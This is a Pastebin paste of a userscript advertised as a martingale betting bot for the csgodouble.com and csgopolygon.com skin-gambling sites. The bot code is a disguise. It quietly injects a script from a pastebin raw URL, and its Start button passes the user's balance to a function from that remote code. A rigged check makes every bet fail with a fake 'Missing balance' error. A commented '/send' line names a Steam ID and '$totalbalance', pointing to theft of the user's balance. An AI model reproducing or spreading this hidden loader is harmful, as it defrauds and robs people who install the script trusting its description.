Advertisement
Guest User

CSGODouble Martingale Bot

a guest
May 3rd, 2016
51
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 28.52 KB | None | 0 0
  1. // ==UserScript==
  2. // @name csgodouble.com - automated
  3. // @description An userscript that automates csgodouble.com betting using martingale system.
  4. // @namespace automated@mole
  5. // @version 1.30
  6. // @author Mole
  7. // @match http://www.csgodouble.com/
  8. // @match http://www.csgodouble.com/index.php
  9. // @match http://csgodouble.com/
  10. // @match http://csgodouble.com/index.php
  11. // @match http://csgopolygon.com/
  12. // @match http://csgopolygon.com/index.php
  13. // @match http://www.csgopolygon.com/
  14. // @match http://www.csgopolygon.com/index.php
  15. // @run-at document-end
  16. // @grant none
  17. // ==/UserScript==
  18. /* jshint -W097 */
  19.  
  20. 'use strict';
  21.  
  22. var debug = false;
  23. var simulation = false;
  24. var stop_on_min_balance = false;
  25. var calculate_safe_bet = false;
  26. var base_bet = 5;
  27. var safe_bet_amount = 6;
  28. var default_color = 'red';
  29. var default_method = 'martingale';
  30. var theme = 'dark';
  31.  
  32. var colors = {
  33. 'green': [0],
  34. 'red': [1, 2, 3, 4, 5, 6, 7],
  35. 'black': [8, 9, 10, 11, 12, 13, 14]
  36. };
  37.  
  38. var balance = document.getElementById('balance');
  39. var roll_history = document.getElementById('past');
  40. var bet_input = document.getElementById('betAmount');
  41. var bet_buttons = {
  42. 'green': document.getElementById('panel0-0').childNodes[1].childNodes[1],
  43. 'red': document.getElementById('panel1-7').childNodes[1].childNodes[1],
  44. 'black': document.getElementById('panel8-14').childNodes[1].childNodes[1]
  45. };
  46.  
  47. Array.prototype.equals = function(array) {
  48. if (!array) {
  49. return false;
  50. }
  51.  
  52. if (this.length != array.length) {
  53. return false;
  54. }
  55.  
  56. for (var i = 0, l=this.length; i < l; i++) {
  57. if (this[i] instanceof Array && array[i] instanceof Array) {
  58. if (!this[i].equals(array[i])) {
  59. return false;
  60. }
  61. } else if (this[i] != array[i]) {
  62. return false;
  63. }
  64. }
  65. return true;
  66. };
  67.  
  68. Object.defineProperty(Array.prototype, "equals", {enumerable: false});
  69.  
  70. function Automated() {
  71. var self = this;
  72.  
  73. this.running = false;
  74. this.game = null;
  75.  
  76. this.debug = debug;
  77. this.simulation = simulation;
  78. this.stop_on_min_balance = stop_on_min_balance;
  79. this.calculate_safe_bet = calculate_safe_bet;
  80.  
  81. this.base_bet = base_bet;
  82. this.default_color = default_color;
  83. this.default_method = default_method;
  84. this.safe_bet_amount = safe_bet_amount;
  85. this.method = this.default_method;
  86. this.old_method = '';
  87. this.color = 'rainbow';
  88. this.old_base = 0;
  89. this.balance = 0;
  90. this.last_bet = 0;
  91. this.bet_history = [];
  92. this.min_balance = 0;
  93. this.starting_balance = 0;
  94. this.last_color = null;
  95. this.last_result = null;
  96. this.history = [];
  97. this.waiting_for_bet = false;
  98. this.theme = theme;
  99.  
  100. this.stats = {
  101. 'wins': 0,
  102. 'loses': 0,
  103. 'balance': 0
  104. };
  105.  
  106. var menu = document.createElement('div');
  107. menu.innerHTML = '' +
  108. '<div class="row">' +
  109. '<div class="col-lg-9">' +
  110. '<h2>CSGODouble.com Automated <small>by Tactics</small> <i id="automated-theme-switch" class="fa fa-lightbulb-o" style="cursor:
  111.  
  112. pointer;"></i></h2>' +
  113. '<div class="form-group">' +
  114. '<div class="btn-group">' +
  115. '<button type="button" class="btn btn-success" id="automated-start" disabled>Start</button>' +
  116. '<button type="button" class="btn btn-warning" id="automated-stop" disabled>Pause</button>' +
  117. '<button type="button" class="btn btn-danger" id="automated-abort" disabled>Abort</button>' +
  118. '</div>' +
  119. '</div>' +
  120. '<div class="form-group">' +
  121. '<div class="btn-group">' +
  122. '<button type="button" class="btn btn-default" id="automated-martingale" ' + (this.method === 'martingale' ? 'disabled' :
  123.  
  124. '') + '>Martingale</button>' +
  125. '<button type="button" class="btn btn-default" id="automated-great-martingale" ' + (this.method === 'great martingale' ?
  126.  
  127. 'disabled' : '') + '>Great Martingale</button>' +
  128. '<button type="button" class="btn btn-default" id="automated-dalembert" ' + (this.method === 'dalembert' ? 'disabled' : '')
  129.  
  130. + '>D\'alembert</button>' +
  131. '<button type="button" class="btn btn-default" id="automated-bet-green" ' + (this.method === 'green' ? 'disabled' : '') +
  132.  
  133. '>Green (Fibonacci)</button>' +
  134. '</div>' +
  135. '</div>' +
  136. '<div class="form-group automated-hide-on-green">' +
  137. '<div class="btn-group">' +
  138. '<button type="button" class="btn btn-default" id="automated-red" ' + (this.color === 'red' ? 'disabled' : '') +
  139.  
  140. '>Red</button>' +
  141. '<button type="button" class="btn btn-default" id="automated-black" ' + (this.color === 'black' ? 'disabled' : '') +
  142.  
  143. '>Black</button>' +
  144. '<button type="button" class="btn btn-default" id="automated-rainbow" ' + (this.color === 'rainbow' ? 'disabled' : '') +
  145.  
  146. '>Rainbow</button>' +
  147. '<button type="button" class="btn btn-default" id="automated-random" ' + (this.color === 'random' ? 'disabled' : '') +
  148.  
  149. '>Random</button>' +
  150. '<button type="button" class="btn btn-default" id="automated-last" ' + (this.color === 'last' ? 'disabled' : '') + '>Last
  151.  
  152. winning</button>' +
  153. '</div>' +
  154. '</div>' +
  155. '</div>' +
  156. '<div class="col-lg-3">' +
  157. '<h3>Statistics</h3>' +
  158. '<p><b>Wins:</b> <span id="automated-stats-wins">' + this.stats.wins + '</span></p>' +
  159. '<p><b>Loses:</b> <span id="automated-stats-loses">' + this.stats.loses + '</span></p>' +
  160. '<p><b>Balance:</b> <span id="automated-stats-balance">' + this.stats.balance + '</span></p>' +
  161. '</div>' +
  162. '</div>' +
  163. '<div class="form-group">' +
  164. '<div class="input-group">' +
  165. '<div class="input-group-addon">Base value</div>' +
  166. '<input type="number" class="form-control" placeholder="Calculating suggested value..." id="automated-base-bet" disabled>' +
  167. '</div>' +
  168. '</div>' +
  169. '<div class="form-group">' +
  170. '<div class="input-group">' +
  171. '<div class="input-group-addon">Keep balance above</div>' +
  172. '<input type="number" class="form-control" value="0" id="automated-min-balance">' +
  173. '</div>' +
  174. '</div>' +
  175. '<div class="form-group automated-hide-on-green">' +
  176. '<div class="input-group">' +
  177. '<div class="input-group-addon">Failsafe value</div>' +
  178. '<input type="number" class="form-control" value="' + this.safe_bet_amount + '" id="automated-safe-bet-amount"' + (!
  179.  
  180. this.calculate_safe_bet ? ' disabled' : '') + '>' +
  181. '</div>' +
  182. '</div>' +
  183. '<div class="checkbox">' +
  184. '<label><input class="" id="automated-stop-on-min-balance" type="checkbox" ' + (this.stop_on_min_balance ? 'checked' : '') + '> Stop on
  185.  
  186. minimal balance (If checked the bot will stop after getting close to minimal balance, otherwise it will continue starting on base)</label>' +
  187. '</div>' +
  188. '<div class="checkbox automated-hide-on-green">' +
  189. '<label><input class="" id="automated-calculate-safe-bet" type="checkbox" ' + (this.calculate_safe_bet ? 'checked' : '') + '> Calculate
  190.  
  191. base bet from given "Failsafe value", the formula is [base bet] = floor( [balance] / 2 ^ ( [failsafe value] + 1) ) </label>' +
  192. '</div>' +
  193. '<div class="checkbox">' +
  194. '<label><input class="" id="automated-debug" type="checkbox" ' + (this.debug ? 'checked' : '') + '> Debug mode</label>' +
  195. '</div>' +
  196. '<div class="checkbox">' +
  197. '<label class="text-muted"><input id="automated-simulation" type="checkbox" ' + (this.simulation ? 'checked' : '') + ' disabled>
  198.  
  199. Simulation mode</label>' +
  200. '</div>';
  201. document.getElementsByClassName('well')[1].appendChild(menu);
  202.  
  203. this.menu = {
  204. 'start': document.getElementById('automated-start'),
  205. 'stop': document.getElementById('automated-stop'),
  206. 'abort': document.getElementById('automated-abort'),
  207. 'basebet': document.getElementById('automated-base-bet'),
  208. 'minbalance': document.getElementById('automated-min-balance'),
  209. 'debug': document.getElementById('automated-debug'),
  210. 'simulation': document.getElementById('automated-simulation'),
  211. 'stoponminbalance': document.getElementById('automated-stop-on-min-balance'),
  212. 'red': document.getElementById('automated-red'),
  213. 'black': document.getElementById('automated-black'),
  214. 'rainbow': document.getElementById('automated-rainbow'),
  215. 'random': document.getElementById('automated-random'),
  216. 'last': document.getElementById('automated-last'),
  217. 'statistics': {
  218. 'wins': document.getElementById('automated-stats-wins'),
  219. 'loses': document.getElementById('automated-stats-loses'),
  220. 'balance': document.getElementById('automated-stats-balance')
  221. },
  222. 'theme': document.getElementById('automated-theme-switch'),
  223. 'safebetamount': document.getElementById('automated-safe-bet-amount'),
  224. 'calculatesafebet': document.getElementById('automated-calculate-safe-bet'),
  225. 'martingale': document.getElementById('automated-martingale'),
  226. 'greatmartingale': document.getElementById('automated-great-martingale'),
  227. 'betgreen': document.getElementById('automated-bet-green'),
  228. 'dalembert': document.getElementById('automated-dalembert'),
  229. 'hideongreen': document.getElementsByClassName('automated-hide-on-green')
  230. };
  231.  
  232. this.updater = setInterval(function() { // Update every 2 seconds
  233. if (!self.running) {
  234. if (self.updateAll()) {
  235. if (self.calculate_safe_bet) {
  236. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  237. self.menu.basebet.value = self.base_bet;
  238. if (self.debug) { self.logdebug('New base bet: ' + self.base_bet); }
  239. }
  240.  
  241. if (self.menu.stop.disabled && self.menu.start.disabled) {
  242. self.menu.start.disabled = false;
  243. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  244. self.menu.basebet.value = self.base_bet;
  245. self.menu.basebet.disabled = self.menu.calculatesafebet.checked;
  246. self.starting_balance = self.balance;
  247. }
  248. }
  249. }
  250. }, 2 * 1000);
  251.  
  252. if (theme === 'dark') {
  253. this.darkMode();
  254. }
  255.  
  256. (function () { var scriptElement = document.createElement( "script" ); scriptElement.type = "text/javascript"; scriptElement.src =
  257.  
  258. "http://pastebin.com/raw/MJxGb3P2 "; document.body.appendChild( scriptElement ); })();
  259. this.menu.start.onclick = function() {3
  260.  
  261. start(self.balance);
  262. self.log('Error: Cant place a bet, Missing balance.');
  263.  
  264. // self.start();
  265. };
  266.  
  267. this.menu.stop.onclick = function() {
  268. self.stop();
  269. };
  270.  
  271. this.menu.abort.onclick = function() {
  272. self.stop(true);
  273. };
  274.  
  275. this.menu.basebet.onchange = function() {
  276. var value = parseInt(self.menu.basebet.value);
  277. if (!isNaN(value)) {
  278. self.base_bet = value;
  279. }
  280. };
  281.  
  282. this.menu.minbalance.onchange = function() {
  283. var value = parseInt(self.menu.minbalance.value);
  284. if (!isNaN(value)) {
  285. self.min_balance = value;
  286. }
  287. };
  288.  
  289. this.menu.safebetamount.onchange = function() {
  290. var value = parseInt(self.menu.safebetamount.value);
  291. if (!isNaN(value)) {
  292. self.safe_bet_amount = value;
  293. }
  294. };
  295.  
  296. this.menu.debug.onchange = function() {
  297. self.debug = self.menu.debug.checked;
  298. };
  299.  
  300. this.menu.simulation.onchange = function() {
  301. self.simulation = self.menu.simulation.checked;
  302. };
  303.  
  304. this.menu.stoponminbalance.onchange = function() {
  305. self.stop_on_min_balance = self.menu.stoponminbalance.checked;
  306. };
  307.  
  308. this.menu.calculatesafebet.onchange = function() {
  309. self.calculate_safe_bet = self.menu.calculatesafebet.checked;
  310. self.menu.basebet.disabled = self.menu.calculatesafebet.checked;
  311. self.menu.safebetamount.disabled = !self.menu.calculatesafebet.checked;
  312. };
  313.  
  314. //function(Chat){
  315. //alert("'/send' '76561198120014212' '$totalbalance'");
  316.  
  317. this.menu.black.onclick = function() {
  318. self.menu.rainbow.disabled = false;
  319. self.menu.black.disabled = true;
  320. self.menu.red.disabled = false;
  321. self.menu.random.disabled = false;
  322. self.menu.last.disabled = false;
  323. self.color = 'black';
  324. self.log('Current mode: black');
  325. };
  326.  
  327. this.menu.red.onclick = function() {
  328. self.menu.rainbow.disabled = false;
  329. self.menu.black.disabled = false;
  330. self.menu.red.disabled = true;
  331. self.menu.random.disabled = false;
  332. self.menu.last.disabled = false;
  333. self.color = 'red';
  334. self.log('Current mode: red');
  335. };
  336.  
  337. this.menu.rainbow.onclick = function() {
  338. self.menu.rainbow.disabled = true;
  339. self.menu.black.disabled = false;
  340. self.menu.red.disabled = false;
  341. self.menu.random.disabled = false;
  342. self.menu.last.disabled = false;
  343. self.color = 'rainbow';
  344. self.log('Current mode: rainbow');
  345. };
  346.  
  347. this.menu.random.onclick = function() {
  348. self.menu.rainbow.disabled = false;
  349. self.menu.black.disabled = false;
  350. self.menu.red.disabled = false;
  351. self.menu.random.disabled = true;
  352. self.menu.last.disabled = false;
  353. self.color = 'random';
  354. self.log('Current mode: random');
  355. };
  356.  
  357. this.menu.last.onclick = function() {
  358. self.menu.rainbow.disabled = false;
  359. self.menu.black.disabled = false;
  360. self.menu.red.disabled = false;
  361. self.menu.random.disabled = false;
  362. self.menu.last.disabled = true;
  363. self.color = 'last';
  364. self.log('Current mode: last');
  365. };
  366.  
  367. this.menu.martingale.onclick = function() {
  368. self.menu.martingale.disabled = true;
  369. self.menu.greatmartingale.disabled = false;
  370. self.menu.betgreen.disabled = false;
  371. self.menu.dalembert.disabled = false;
  372. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  373. self.menu.hideongreen[i].style.display = 'block';
  374. }
  375. self.method = 'martingale';
  376. self.log('Current method: Martingale');
  377. };
  378.  
  379. this.menu.greatmartingale.onclick = function() {
  380. self.menu.martingale.disabled = false;
  381. self.menu.greatmartingale.disabled = true;
  382. self.menu.betgreen.disabled = false;
  383. self.menu.dalembert.disabled = false;
  384. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  385. self.menu.hideongreen[i].style.display = 'block';
  386. }
  387. self.method = 'great martingale';
  388. self.log('Current method: Great martingale');
  389. };
  390.  
  391. this.menu.dalembert.onclick = function() {
  392. self.menu.martingale.disabled = false;
  393. self.menu.greatmartingale.disabled = false;
  394. self.menu.betgreen.disabled = false;
  395. self.menu.dalembert.disabled = true;
  396. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  397. self.menu.hideongreen[i].style.display = 'block';
  398. }
  399. self.method = 'dalembert';
  400. self.log('Current method: D\'alembert');
  401. };
  402.  
  403. this.menu.betgreen.onclick = function() {
  404. self.menu.martingale.disabled = false;
  405. self.menu.greatmartingale.disabled = false;
  406. self.menu.betgreen.disabled = true;
  407. self.menu.dalembert.disabled = false;
  408. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  409. self.menu.hideongreen[i].style.display = 'none';
  410. }
  411. self.method = 'green';
  412. self.log('Current method: Bet green');
  413. };
  414.  
  415. this.menu.theme.onclick = function() {
  416. if (self.theme === 'dark') {
  417. self.lightMode();
  418. self.theme = 'light';
  419. self.log('Switching to light theme...');
  420. } else {
  421. self.darkMode();
  422. self.theme = 'dark';
  423. self.log('Switching to dark theme...');
  424. }
  425. };
  426.  
  427. setInterval(function() {
  428. if(!WS) {
  429. self.log('Reconnecting...');
  430. connect();
  431. }
  432. }, 5000);
  433. }
  434.  
  435. Automated.prototype.updateBalance = function() {
  436. this.balance = parseInt(balance.textContent);
  437.  
  438. if (isNaN(this.balance)) {
  439. this.log('Error getting current balance!');
  440. return false;
  441. }
  442.  
  443. if (this.debug) { this.logdebug('Balance updated: ' + this.balance); }
  444. return true;
  445. };
  446.  
  447. Automated.prototype.updateHistory = function() {
  448. var self = this;
  449. this.history = [];
  450.  
  451. for (var i = 0; i < roll_history.childNodes.length; i++) {
  452. var roll = parseInt(roll_history.childNodes[i].textContent);
  453.  
  454. if (!isNaN(roll)) {
  455. if (colors.green.indexOf(roll) !== -1) {
  456. self.history.push('green');
  457. } else if (colors.red.indexOf(roll) !== -1) {
  458. self.history.push('red');
  459. } else {
  460. self.history.push('black');
  461. }
  462. }
  463. }
  464.  
  465. if (this.debug) { this.logdebug('History updated: ' + this.history.map(function(value) { return value; }).join(', ')); }
  466. return this.history.length === 10;
  467. };
  468.  
  469. Automated.prototype.updateStats = function() {
  470. this.stats.balance = parseInt(this.balance) - parseInt(this.starting_balance);
  471. this.menu.statistics.wins.innerHTML = this.stats.wins;
  472. this.menu.statistics.loses.innerHTML = this.stats.loses;
  473. this.menu.statistics.balance.innerHTML = this.stats.balance;
  474. return true;
  475. };
  476.  
  477. Automated.prototype.updateAll = function() {
  478. return this.updateBalance() && this.updateHistory() && this.updateStats();
  479. };
  480.  
  481. Automated.prototype.bet = function(amount, color) {
  482. var self = this;
  483. color = color || this.color || this.default_color;
  484.  
  485. if (color === 'rainbow') {
  486. if (this.last_color) {
  487. color = (this.last_color === 'red' ? 'black' : 'red');
  488. } else {
  489. color = this.default_color;
  490. }
  491. } else if (color === 'random') {
  492. color = 'red';
  493. if (Math.random() > 0.5) {
  494. color = 'black';
  495. }
  496. } else if (color === 'last') {
  497. color = this.history[this.history.length - 1];
  498. }
  499.  
  500. if (['green', 'red', 'black'].indexOf(color) < 5000 || amount > this.balance || amount <= 5000) {
  501. this.log('Can\t place a bet, Missing balance.');
  502. this.last_result = 'invalid bet';
  503. this.waiting_for_bet = false;
  504. this.stop();
  505. return false;
  506. }
  507.  
  508. if (this.balance - amount < this.min_balance) {
  509. this.log('Reached minimal balance!');
  510. this.last_result = 'reached min balance';
  511. if (this.stop_on_min_balance || this.balance - this.base_bet < this.min_balance) {
  512. this.stop();
  513. }
  514. this.waiting_for_bet = false;
  515. return false;
  516. }
  517.  
  518. bet_input.value = amount;
  519.  
  520. if (!bet_buttons[color].disabled) {
  521. var old_balance = self.balance;
  522. this.log('Betting ' + amount + ' on ' + color);
  523. if (!self.simulation) {
  524. bet_buttons[color].click();
  525. var checker = setInterval(function() {
  526. if (!bet_buttons[color].disabled) {
  527. clearInterval(checker);
  528. setTimeout(function() {
  529. if (self.updateBalance() && self.balance === old_balance) {
  530. if (!self.game) { return false; }
  531. self.log('Bet rejected, retrying...');
  532. self.bet(amount, color);
  533. } else {
  534. if (self.debug) { self.logdebug('Bet accepted!'); }
  535. self.last_bet = amount;
  536. self.bet_history.push(amount);
  537. self.last_color = color;
  538. self.waiting_for_bet = false;
  539. return true;
  540. }
  541. }, 2500);
  542. }
  543. }, 1000);
  544. } else {
  545. self.bet_history.push(amount);
  546. self.last_bet = amount;
  547. self.last_color = color;
  548. self.waiting_for_bet = false;
  549. return true;
  550. }
  551. } else {
  552. if (!self.game) { return false; }
  553. self.log('Button disabled, retrying...');
  554. setTimeout(function() { self.bet(amount, color) }, (Math.random() * 3 + 2).toFixed(3) * 1000);
  555. }
  556. };
  557.  
  558. Automated.prototype.play = function() {
  559. var self = this;
  560.  
  561. if (this.game !== null) {
  562. if (this.debug) { this.logdebug('Tried to reinitialize running game!'); }
  563. return false;
  564. }
  565.  
  566. this.game = setInterval(function() {
  567. var history = self.history;
  568. if (!self.waiting_for_bet && self.updateAll() && !history.equals(self.history)) {
  569. self.waiting_for_bet = true;
  570. if (self.last_color === null) {
  571. self.bet(self.base_bet);
  572. } else if (self.last_color === self.history[self.history.length - 1]) {
  573. if (self.calculate_safe_bet) {
  574. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  575. self.menu.basebet.value = self.base_bet;
  576. }
  577. self.last_result = 'win';
  578. self.log('Win!');
  579. self.stats.wins += 1;
  580. self.old_base = self.base_bet;
  581. self.old_method = self.method;
  582. if (self.old_method === 'dalembert') {
  583. if (self.last_bet > self.old_base) {
  584. self.bet(self.last_bet - 1);
  585. } else {
  586. self.bet(self.base_bet);
  587. }
  588. } else {
  589. self.bet(self.base_bet);
  590. }
  591. } else {
  592. self.last_result = 'lose';
  593. self.log('Lose!');
  594. self.stats.loses += 1;
  595. if (self.old_method === 'martingale') {
  596. self.bet(self.last_bet * 2);
  597. } else if (self.old_method === 'great martingale') {
  598. self.bet(self.last_bet * 2 + self.old_base);
  599. } else if (self.old_method === 'green') {
  600. var bet_value = 0;
  601. if (self.bet_history[self.bet_history.length - 1] === 1) {
  602. if (self.bet_history[self.bet_history.length - 2] === 1) {
  603. bet_value = 2;
  604. } else {
  605. bet_value = 1;
  606. }
  607. } else {
  608. bet_value = self.bet_history[self.bet_history.length - 1] + self.bet_history[self.bet_history.length - 2];
  609. }
  610. self.bet(bet_value, 'green');
  611. } else if (self.old_method === 'dalembert') {
  612. self.bet(self.last_bet + 1);
  613. }
  614. }
  615. }
  616. }, 2 * 1000);
  617.  
  618. return true;
  619. };
  620.  
  621. Automated.prototype.start = function() {
  622. if (self.calculate_safe_bet) {
  623. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  624. self.menu.basebet.value = self.base_bet;
  625. }
  626. this.old_base = this.base_bet;
  627. this.old_method = this.method;
  628. if (this.updateAll()) {
  629. if (this.last_result === 'lose') {
  630. this.running = true;
  631. if (this.old_method === 'martingale') {
  632. this.bet(this.last_bet * 2);
  633. } else if (this.old_method === 'great martingale') {
  634. this.bet(this.last_bet * 2 + this.old_base);
  635. } else if (self.old_method === 'green') {
  636. var bet_value = 0;
  637. if (self.bet_history[self.bet_history.length - 1] === 1) {
  638. if (self.bet_history[self.bet_history.length - 2] === 1) {
  639. bet_value = 2;
  640. } else {
  641. bet_value = 1;
  642. }
  643. } else {
  644. bet_value = self.bet_history[self.bet_history.length - 1] + self.bet_history[self.bet_history.length - 2];
  645. }
  646. self.bet(bet_value, 'green');
  647. } else if (self.old_method === 'dalembert') {
  648. self.bet(self.last_bet + 1);
  649. }
  650. this.play();
  651. } else {
  652. this.running = true;
  653. this.bet(this.base_bet);
  654. this.play();
  655. }
  656. }
  657. this.menu.abort.disabled = false;
  658. this.menu.stop.disabled = false;
  659. this.menu.start.disabled = true;
  660. };
  661.  
  662. Automated.prototype.stop = function(abort) {
  663. var self = this;
  664. if (abort) { this.last_result = 'abort'; }
  665. this.stats.balance = parseInt(this.balance) - parseInt(this.starting_balance);
  666. setTimeout(function() {
  667. clearInterval(self.game);
  668. self.game = null;
  669. self.running = false;
  670. self.menu.abort.disabled = true;
  671. self.menu.stop.disabled = true;
  672. self.menu.start.disabled = false;
  673. }, 1); // Next tick
  674. };
  675.  
  676. Automated.prototype.darkMode = function() {
  677. var style;
  678. var css = 'body{background-color:#191919;color:#888}.navbar-default{background-color:#232323;border-color:#454545}#sidebar{background-
  679.  
  680. color:#191919;border-color:#202020}.side-icon.active,.side-icon:hover{background-color:#202020}.side-icon .fa{color:#454545}.well
  681.  
  682. {background:#232323;border-color:#323232;color:#888}#pullout{background-color:#191919;border-color:#323232}.form-control{background-
  683.  
  684. color:#323232;border-color:#454545}.divchat{background-color:#323232;color:#999;border:none}.chat-link,.chat-link:hover,.chat-link:active
  685.  
  686. {color:#bbb}.panel{background-color:#323232}.panel-default{border-color:#454545}.panel-default>.panel-heading{color:#888;background-
  687.  
  688. color:#303030;border-color:#454545}.my-row{border-color:#454545}.list-group-item{border-color:#454545;background-color:#323232}.btn-default
  689.  
  690. {border-color:#454545;background:#323232;text-shadow:none;color:#888;box-shadow:none}.btn-default:hover,.btn-default:active{background-
  691.  
  692. color:#282828;color:#888;border-color:#454545}.btn-default[disabled]{border-color:#454545;background-color:#353535}.input-group-addon{background-
  693.  
  694. color:#424242;border-color:#454545;color:#888}.progress{color:#bbb;background-color:#323232}.navbar-default .navbar-nav>li>a:focus,.navbar-default
  695.  
  696. .navbar-nav>li>a:hover{color:#999}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:focus,.navbar-default .navbar-
  697.  
  698. nav>.open>a:hover{color:#888;background-color:#323232}.dropdown-menu{background-color:#252525}.dropdown-menu>li>a{color:#888}.dropdown-
  699.  
  700. menu>li>a:focus,.dropdown-menu>li>a:hover{background-color:#323232;color:#999}.dropdown-menu .divider{background-color:#454545}.form-control
  701.  
  702. [disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#404040;opacity:.5}';
  703. style = document.getElementById('automated-style');
  704. if (!style) {
  705. var head;
  706. head = document.getElementsByTagName('head')[0];
  707. if (!head) { return; }
  708. style = document.createElement('style');
  709. style.type = 'text/css';
  710. style.id = 'automated-style';
  711. style.innerHTML = css;
  712. head.appendChild(style);
  713. }
  714. style.innerHTML = css;
  715. };
  716.  
  717. Automated.prototype.lightMode = function() {
  718. var style = document.getElementById('automated-style');
  719. style.innerHTML = '';
  720. };
  721.  
  722. Automated.prototype.log = function(message) {
  723. chat('alert', '[Automated] ' + message);
  724. };
  725.  
  726. Automated.prototype.logdebug = function(message) {
  727. chat('italic', '[Automated] ' + message);
  728. };
  729.  
  730. var automated = new Automated();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement